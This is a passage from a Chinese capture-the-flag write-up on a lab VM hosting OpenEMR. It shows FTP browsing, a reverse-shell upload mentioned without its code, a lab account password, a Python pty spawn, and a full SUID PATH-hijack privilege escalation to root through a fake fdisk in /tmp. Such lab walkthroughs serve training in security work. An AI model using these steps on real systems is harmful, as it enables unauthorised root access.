drwx------ 9 medical medical 4096 Nov 5 2011 tmp
226 Transfer complete
ftp>
可以登录！但是经过搜索，并没有发现什么可疑利用的！
ftp> pwd
Remote directory: /var/www/html
ftp> cd openemr
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||1937|)
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 medical medical 19798 Sep 21 2011 4_1_prep_release
-rwxr-xr-x 1 medical medical 22442 Sep 21 2011 CategoryTreeMenu.js
-rwxr-xr-x 1 medical medical 22817 Sep 21 2011 DocumentTreeMenu.js
drwxr-xr-x 4 medical medical 4096 Sep 21 2011 Documentation
-rw-r--r-- 1 medical medical 14299 Sep 21 2011 INSTALL
-rw-r--r-- 1 medical medical 414 Sep 21 2011 README
drwxr-xr-x 2 medical medical 4096 Sep 21 2011 Tests
drwxr-xr-x 2 medical medical 4096 Sep 21 2011 accounting
-rw-r--r-- 1 medical medical 14926 Sep 21 2011 acl_setup.php
-rw-r--r-- 1 medical medical 29444 Sep 21 2011 acl_upgrade.php
-rw------- 1 medical medical 3707 Sep 21 2011 admin.php
drwxr-xr-x 4 medical medical 4096 Sep 21 2011 ccr
drwxr-xr-x 7 medical medical 4096 Sep 21 2011 contrib
-rw-r--r-- 1 medical medical 133 Sep 21 2011 controller.php
drwxr-xr-x 2 medical medical 4096 Sep 21 2011 controllers
-rw-r--r-- 1 medical medical 2873 Sep 21 2011 copyright_notice.html
drwxr-xr-x 2 medical medical 4096 Sep 21 2011 custom
drwxr-xr-x 9 medical medical 4096 Sep 21 2011 gacl
drwxr-xr-x 2 medical medical 4096 Sep 21 2011 images
drwxr-xr-x 2 medical medical 4096 Sep 21 2011 includes
-rw-r--r-- 1 medical medical 999 Sep 21 2011 index.php
drwxr-xr-x 25 medical medical 4096 Sep 21 2011 interface
-rw-r--r-- 1 medical medical 4850 Sep 21 2011 ippf_upgrade.php
drwxr-xr-x 14 medical medical 4096 Sep 21 2011 library
-rw-r--r-- 1 medical medical 18010 Sep 21 2011 license.txt
-rw-r--r-- 1 medical medical 2109 Sep 21 2011 login.php
drwxr-xr-x 3 medical medical 4096 Sep 21 2011 modules
drwxr-xr-x 3 medical medical 4096 Sep 21 2011 myportal
drwxr-xr-x 4 medical medical 4096 Sep 21 2011 patients
drwxr-xr-x 10 medical medical 4096 Sep 21 2011 phpmyadmin
-rw-r--r-- 1 medical medical 861 Sep 21 2011 phpunit.xml
-rw-r--r-- 1 medical medical 29416 Sep 21 2011 setup.php
drwxr-xr-x 4 apache apache 4096 Oct 27 2011 sites
-rw-r--r-- 1 medical medical 12749 Sep 21 2011 sl_convert.php
drwxr-xr-x 2 medical medical 4096 Sep 21 2011 sql
-rw-r--r-- 1 medical medical 9853 Sep 21 2011 sql_upgrade.php
drwxr-xr-x 14 medical medical 4096 Sep 21 2011 templates
-rw-r--r-- 1 medical medical 596 Sep 21 2011 version.php
226 Transfer complete
ftp>
我们在 网站根目录下的 openemr 目录内上传一个反弹shell，然后在网页进行访问即可反弹shell！
首先在本地构建php反弹shell木马！然后即可上传！
成功！
提权
信息收集
sh-4.1$ cat /etc/passwd | grep "/home" | grep -v nologin
cat /etc/passwd | grep "/home" | grep -v nologin
saned:x:484:478:system user for saned:/home/saned:/bin/false
medical:x:500:500:PCLinuxOS Medical:/home/medical:/bin/bash
almirant:x:501:502:Almirant:/home/almirant:/bin/bash
sh-4.1$
sh-4.1$ su medical
su medical
Password: medicalid
uid=500(medical) gid=500(medical) groups=500(medical),7(lp),19(floppy),22(cdrom),80(cdwriter),81(audio),82(video),83(dialout),100(users),490(polkituser),501(fuse)横向到已知用户！whereis python
python: /usr/bin/python2.6 /usr/bin/python /usr/lib/python2.6 /usr/lib/python2.5 /usr/include/python2.6 /usr/include/python2.5 /usr/share/man/man1/python.1.bz2
python -c 'import pty;pty.spawn("/bin/bash")'
[medical@localhost /]$使用python提高交互性！
[medical@localhost /]$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/libexec/pt_chown
/usr/lib/ssh/ssh-keysign
/usr/lib/polkit-resolve-exe-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/chromium-browser/chrome-sandbox
/usr/lib/polkit-grant-helper-pam
/usr/lib/polkit-set-default-helper
/usr/sbin/fileshareset
/usr/sbin/traceroute6
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/bin/crontab
/usr/bin/at
/usr/bin/pumount
/usr/bin/batch
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/wvdial
/usr/bin/pmount
/usr/bin/sperl5.10.1
/usr/bin/gpgsm
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/passwd
/usr/bin/gpg
/usr/bin/healthcheck
/usr/bin/Xwrapper
/usr/bin/ping6
/usr/bin/chsh
/lib/dbus-1/dbus-daemon-launch-helper
/sbin/pam_timestamp_check
/bin/ping
/bin/fusermount
/bin/su
/bin/mount
/bin/umount
[medical@localhost /]$
发现可疑点！ /usr/bin/healthcheck
[medical@localhost /]$ strings /usr/bin/healthcheck
strings /usr/bin/healthcheck
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h[medical@localhost /]$ ls -al /usr/bin/healthcheck
ls -al /usr/bin/healthcheck
-rwsr-sr-x 1 root root 5813 Jul 29 2020 /usr/bin/healthcheck*我们发现这个文件通过运行 "ifconfig" 和 "fdisk" 等命令来维护系统： 并且可执行！本地提权
fdisk 是一个创建和维护分区表的程序，它兼容 DOS 类型的分区表、BSD 或者 SUN 类型的磁盘列表。在 /usr/bin/healthcheck 这个程序运行时会使用 " fdisk ” 命令来检查系统！我们可以在/tmp目录下创建一个 fdisk 文件！并且把/tmp目录加入到环境变量！当程序 /usr/bin/healthcheck 运行时，会先检查环境变量里面是否存在该命令文件！如果存在，就调用！我们利用程序运行时逐级调用环境变量这个特点，我们写入 /bin/bash !! 即可提权成功！
[medical@localhost tmp]$ touch fdisk
touch fdisk[medical@localhost tmp]$ echo " /bin/bash " >> fdisk
echo " /bin/bash " >> fdisk[medical@localhost tmp]$ cat fdisk
cat fdisk/bin/bash[medical@localhost tmp]$ chmod +x fdisk
chmod +x fdisk[medical@localhost tmp]$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH[medical@localhost tmp]$ /usr/bin/healthcheck
/usr/bin/healthcheck
TERM environment variable not set.
System Health CheckScanning System
eth0 Link encap:Ethernet HWaddr 00:50:56:38:B0:1Einet addr:192.168.110.149 Bcast:192.168.110.255 Mask:255.255.255.0inet6 addr: fe80::250:56ff:fe38:b01e/64 Scope:LinkUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:1229392 errors:0 dropped:0 overruns:0 frame:0TX packets:1222798 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:195502810 (186.4 MiB) TX bytes:1625162929 (1.5 GiB)lo Link encap:Local Loopbackinet addr:127.0.0.1 Mask:255.0.0.0inet6 addr: ::1/128 Scope:HostUP LOOPBACK RUNNING MTU:16436 Metric:1RX packets:200 errors:0 dropped:0 overruns:0 frame:0TX packets:200 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:0RX bytes:21800 (21.2 KiB) TX bytes:21800 (21.2 KiB)[root@localhost tmp]# id
id
uid=0(root) gid=0(root) groups=0(root),7(lp),19(floppy),22(cdrom),80(cdwriter),81(audio),82(video),83(dialout),100(users),490(polkituser),500(medical),501(fuse)
[root@localhost tmp]# cd /root
cd /root
[root@localhost root]# ls
ls
Desktop/ drakx/ healthcheck.c sudo.rpm
Documents/ healthcheck* root.txt tmp/
[root@localhost root]# cat root.txt
cat root.txt
██ ██ ██████ ██ ██ ████████ ██████ ██ ███████ ██████ ██ ██ █████ ██████ ██████ ███████ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██████ ██ █████ ██ ██ ███████ ███████ ██████ ██ ██ █████ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██████ ██ ██ ██ ██ ███████ ██████ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ██ Thanks for Playing!Follow me at: http://v1n1v131r4.comroot hash: eaff25eaa9ffc8b62e3dfebf70e83a7b
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